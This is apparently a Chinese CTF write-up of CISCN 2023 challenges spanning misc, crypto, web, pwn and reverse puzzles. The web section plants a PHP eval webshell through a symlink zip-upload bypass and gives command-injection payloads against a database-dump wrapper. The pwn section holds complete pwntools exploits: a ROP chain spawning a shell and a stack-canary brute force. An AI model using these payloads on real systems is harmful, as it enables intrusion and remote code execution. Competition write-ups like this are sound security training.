CISCN 2023 Writeup
写在前面
一年比一年卷是吧,前年24小时不间断高考模式,去年的黑灯模式,今年比两天😥,另外由于我校不认CISCN这种小比赛,所以简单划划水。
Misc
签到卡
早在1928年,IBM发明了80列、矩形孔卡片,并将它们用于数字计算机中,开启了穿孔卡片在计算领域中的应用之路。随着技术的进步,穿孔卡片的字符表示方式也不断更新,从6比特的BCDIC发展到1964年8比特的EBCDIC。
现在,春秋GAME伽玛实验室团队模拟了一台IBM 029型打孔机,再通过模拟IBM System/360功能,让其具备了执行代码命令的功能。请点击下发按钮,跟随着打孔机的滴答声,重返计算科技的辉煌岁月~!
直接根据 hint
得到 flag
print(open('/flag').read())
国粹
a.png
为横坐标,k.png
为纵坐标,题目.png
为计算坐标时的参考值,比如四条在 题目.png
中排 第1
,则 a.png
中的 四条
就代表数值 1
。但 题目.png
第一列要裁掉,因为第一行第一列为 空白像素
,做题的时候我是直接用PS把第一列和第一行都裁掉了,但是我通过 Python
裁剪,发现没成功,所以代码里直接剪掉了 986595
,以达到在PS中的效果
import numpy as np
from PIL import Image
import matplotlib.pyplot as plt
def crop_image(image_path, crop_width, crop_height, data_list=None):
image = Image.open(image_path)
width, height = image.size
cropped_images = []
for left in range(0, width, crop_width):
for top in range(0, height, crop_height):
right = left + crop_width
bottom = top + crop_height
cropped_images.append(image.crop((left, top, right, bottom)))
result = []
for cropped_image in cropped_images:
cropped_np = np.sum(cropped_image)
if data_list is None:
result.append(cropped_np - 986595)
elif cropped_np in data_list:
result.append(data_list.index(cropped_np) + 1)
return result
data_list = crop_image('题目.png', 53, 73)[1:]
x = crop_image('a.png', 53, 73, data_list)
y = crop_image('k.png', 53, 73, data_list)
plt.scatter(x, y)
plt.xlabel('x')
plt.ylabel('y')
plt.show()
pyshell
flag在/flag,每个容器只支持同时连接一个客户端。部分指令可能导致容器无响应,如果出现这样的情况请重启题目环境
import socket
import threading
class Service(threading.Thread):
def __init__(self, port):
threading.Thread.__init__(self)
self.port = port
self.sock = socket.create_server(("0.0.0.0", port))
self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.client.settimeout(2)
def run(self):
print("listener started")
self.client.connect(("127.0.0.1", 12345))
rabbish = self.client.recv(1024)
while not rabbish.decode().strip().endswith('>>>'):
rabbish = self.client.recv(1024)
while True:
ss, addr = self.sock.accept()
print("accept a connect")
try:
ss.send(b'Welcome to this python shell,try to find the flag!\r\n')
while True:
ss.send(b'>>')
msg = ss.recv(1024)
if not msg:
continue
elif is_validate(msg.decode().strip()):
self.client.send(msg)
total_result = bytes()
while True:
try:
result = self.client.recv(1024)
total_result += result
if result.decode().strip().endswith('>>>'):
break
except:
break
print(total_result)
if total_result.decode().strip().endswith('>>>'):
total_result = total_result[:-4]
elif total_result.decode().strip().endswith('...'):
self.client.send(b'\r\n')
while True:
result = self.client.recv(1024)
total_result += result
if result.decode().strip().endswith('>>>'):
break
total_result = total_result[:-4]
else:
total_result = b'error\r\n'
ss.send(total_result)
else:
ss.send(b'nop\r\n')
continue
except:
continue
def is_validate(s):
if 'exit' in s or 'help' in s:
return False
if len(s) > 7:
return False
if '=' in s:
return False
return True
service = Service(10080)
service.run()
通过测试,发现长度限制为 7
,同时 =
被过滤了,尝试字符拼接绕过
被加密的生产流量
某安全部门发现某涉密工厂生产人员偷偷通过生产网络传输数据给不明人员,通过技术手段截获出一段通讯流量,但是其中的关键信息被进行了加密,请你根据流量包的内容,找出被加密的信息。(得到的字符串需要以flag{xxx}形式提交)
追踪 TCP
流 在 流0
发现一段编码
全取出来后,解码得到 flag
网络安全人才实战能力评价现状调研问卷
为了全面了解我国网络安全人才实战能力评价现状,更好地开展网络安全人才工作,特展开本次问卷调研。在本次活动中,您提供的信息非常宝贵,将极大地帮助网络安全人才建设。
请由队长负责填写,填写完成后会得到一个flag。本题固定分值为5分,前三血无额外加分。
填写问卷即可
flag{TalentDevelopment}
Crypto
可信度量
题目内容:完整题目背景及描述请见附件。
(请点击“下发赛题”,本题容器下发后的端口是ssh端口,ssh的账号为player,密码为player,登录后请根据题目要求解题)
直接非预期(属实办出特色了
grep -ra "flag{" /
Sign_in_passwd
j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D
GHI3KLMNJOPQRSTUb%3DcdefghijklmnopWXYZ%2F12%2B406789VaqrstuvwxyzABCDEF5
Base64
变表,上面是 密文
,下面是 表
,先把表 urldecode
一下即可
基于国密SM2算法的密钥密文分发
完整题目背景及描述请见附件。
补充说明:如成功完成题目,flag会显示在/api/search返回的 json中,如果使用工具发包卡顿,可尝试使用 curl发送数据包
直接照着文档进行操作即可,简单列一下流程
/api/login // 先上报选手信息
/api/allkey // 公钥上传获取私钥,公钥在线生成:https://const.net.cn/tool/sm2/genkey/
/api/quantum // 获取密钥
/api/search // 获取解密后的密钥,quantumStringServer 字段即为解密后的密钥
/api/check // 密钥验证
/api/search // 获得flag
Web
unzip
unzip很简单,但是同样也很危险
通过软链接绕过 /tmp
即可,可以参考 https://forum.butian.net/share/906 中的 zipzip
<?php
error_reporting(0);
highlight_file(__FILE__);
$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};
//only this!
- 软连接
ciscn
指向/var/www/html
,压缩成ciscn.zip
- 包含一个
ciscn
文件夹,ciscn
文件夹下有shell.php
,写入一句话木马,压缩成ciscn1.zip
这里简单列一下命令
ln -s /var/www/html ciscn
zip --symlinks ciscn.zip ./*
mkdir ciscn1
cd ciscn1
mkdir ciscn
echo "<?php @eval(@\$_POST['1']);?>" > shell.php
cd ../../
zip -r ciscn1.zip ./ciscn1/*
然后先上传 ciscn.zip
在上传 ciscn1.zip
即可
dumpit
flag in /flag
<?php
$servername = "127.0.0.1";
$username = "www-data";
$password = "";
function is_valid($str){
$black = ';`*#^$&|';
for($i=0;$i<strlen($black);$i++){
if(!(stristr($str,$black[$i])===FALSE)){
return FALSE;
}
}
if(!(stristr($str,'host')===FALSE)){
return FALSE;
}
if(!(stristr($str,'-h')===FALSE)){
return FALSE;
}
return TRUE;
}
try {
$conn = new PDO("mysql:host=$servername;dbname=ctf", $username, $password);
}
catch(PDOException $e)
{
die($e->getMessage());
}
if(!isset($_GET['table_2_query']) && !isset($_GET['table_2_dump'])){
echo 'use ?db=&table_2_query= or ?db=&table_2_dump= to view the tables! etc:?db=ctf&table_2_query=flag1';
die();
}
if(isset($_GET['db'])){
$db=$_GET['db'];
}
else{
die('no db!');
}
if(isset($_GET['table_2_query'])){
$t2q = $_GET['table_2_query'];
$sql = "select * from $db.$t2q";
if(!(is_valid($t2q))){
die('nop');
}
if(!(is_valid($db))){
die('nop');
}
echo $sql;
echo '</br>';
try{
$stm = $conn->query($sql);
$res = $stm->fetch();
var_dump($res);
}
catch(PDOException $e){
die('error');
}
die();
}
if(isset($_GET['table_2_dump'])){
$t2d=$_GET['table_2_dump'];
if(!(is_valid($t2d))){
die('nop');
}
if(!(is_valid($db))){
die('nop');
}
$randstr = md5(time());
$dump='mariadb-dump '.$db.' '.$t2d.' >./log/'.$randstr.'.log';
system($dump);
echo 'dump log here: <a href=\''.'./log/'.$randstr.'.log'.'\'>here</a>';
}
?>
emm,读了半天没读出来,发现 /flag
的权限位是 400
,最后在 phpinfo
发现 flag
?db=&table_2_dump=\<\?\=phpinfo\(\)?\> 2> log/1.php
或者直接通过 %0a
截断后读环境变量
?db=&table_2_dump=%0a env
Pwn
烧烤摊儿
来点小烧烤~
gaming()
里直接通过负数溢出买下烧烤摊即可,链子直接用 ROPgadget
生成
ROPgadget --binary shaokao --ropchain
from pwn import *
context.log_level = 'debug'
context(os='linux', arch='amd64', terminal=['alacritty', '-e', 'sh', '-c'])
io = remote('39.105.187.49', 21881)
elf = ELF('./shaokao')
send_data = lambda x, y: io.sendlineafter(x, y)
select = lambda x: send_data('> ', str(x))
def pijiu(ty, size):
select(1)
send_data('3. 勇闯天涯', str(ty))
send_data('来几瓶?', str(size))
def vip():
select(4)
def gaime(name):
select(5)
send_data('烧烤摊儿已归你所有,请赐名:', name)
#!/usr/bin/env python3
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = b''
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x0000000000458827) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040264f) # pop rdi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402404) # syscall
pijiu(1,-200000)
vip()
gaime(b'a' * 0x20 + p64(0xdeadbeef) + p)
io.interactive()
funcanary
canary还是那个canary,flag还是那个flag
构造缓冲区溢出数据,同时需要爆破Canary和偏移量。
from pwn import *
context.log_level = 'debug'
context(os='linux', arch='amd64', terminal=['alacritty', '-e', 'sh', '-c'])
io = remote('47.95.212.224', 31827)
elf = ELF('./funcanary')
send_data = lambda x: io.send(x)
receive_until = lambda x: io.recvuntil(x)
debug = lambda x: gdb.attach(io, gdbscript=x)
canary = b'\0'
receive_until('welcome')
for j in range(7):
for i in range(0x100):
send_data(b'a' * 0x68 + canary + p8(i))
recv = receive_until('welcome')
if b'fun' in recv:
canary += p8(i)
break
for i in range(0x10):
payload = b'a' * 0x68 + canary + p64(0xdeadbeef) + p8(0x28) + p8(i * 0x10 + 2)
send_data(payload)
recv = receive_until('welcome')
if b'flag{' in recv:
flag = recv.split(b'flag{')[1].split(b'}')[0]
print(f'Flag: flag{{{flag.decode()}}}')
break
io.interactive()
Reverse
babyRE
baby也能做出来的RE
下载附件,得到一个 xml
,其制作来源为可视化编程网站 https://snap.berkeley.edu/snap/snap.html ,分析逻辑发现就是前后异或
a = [102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30]
result = a[0]
flag = ''
for i in range(1, len(a)):
result ^= a[i]
flag += chr(result)
print('f' + flag)
# flag{12307bbf-9e91-4e61-a900-dd26a6d0ea4c}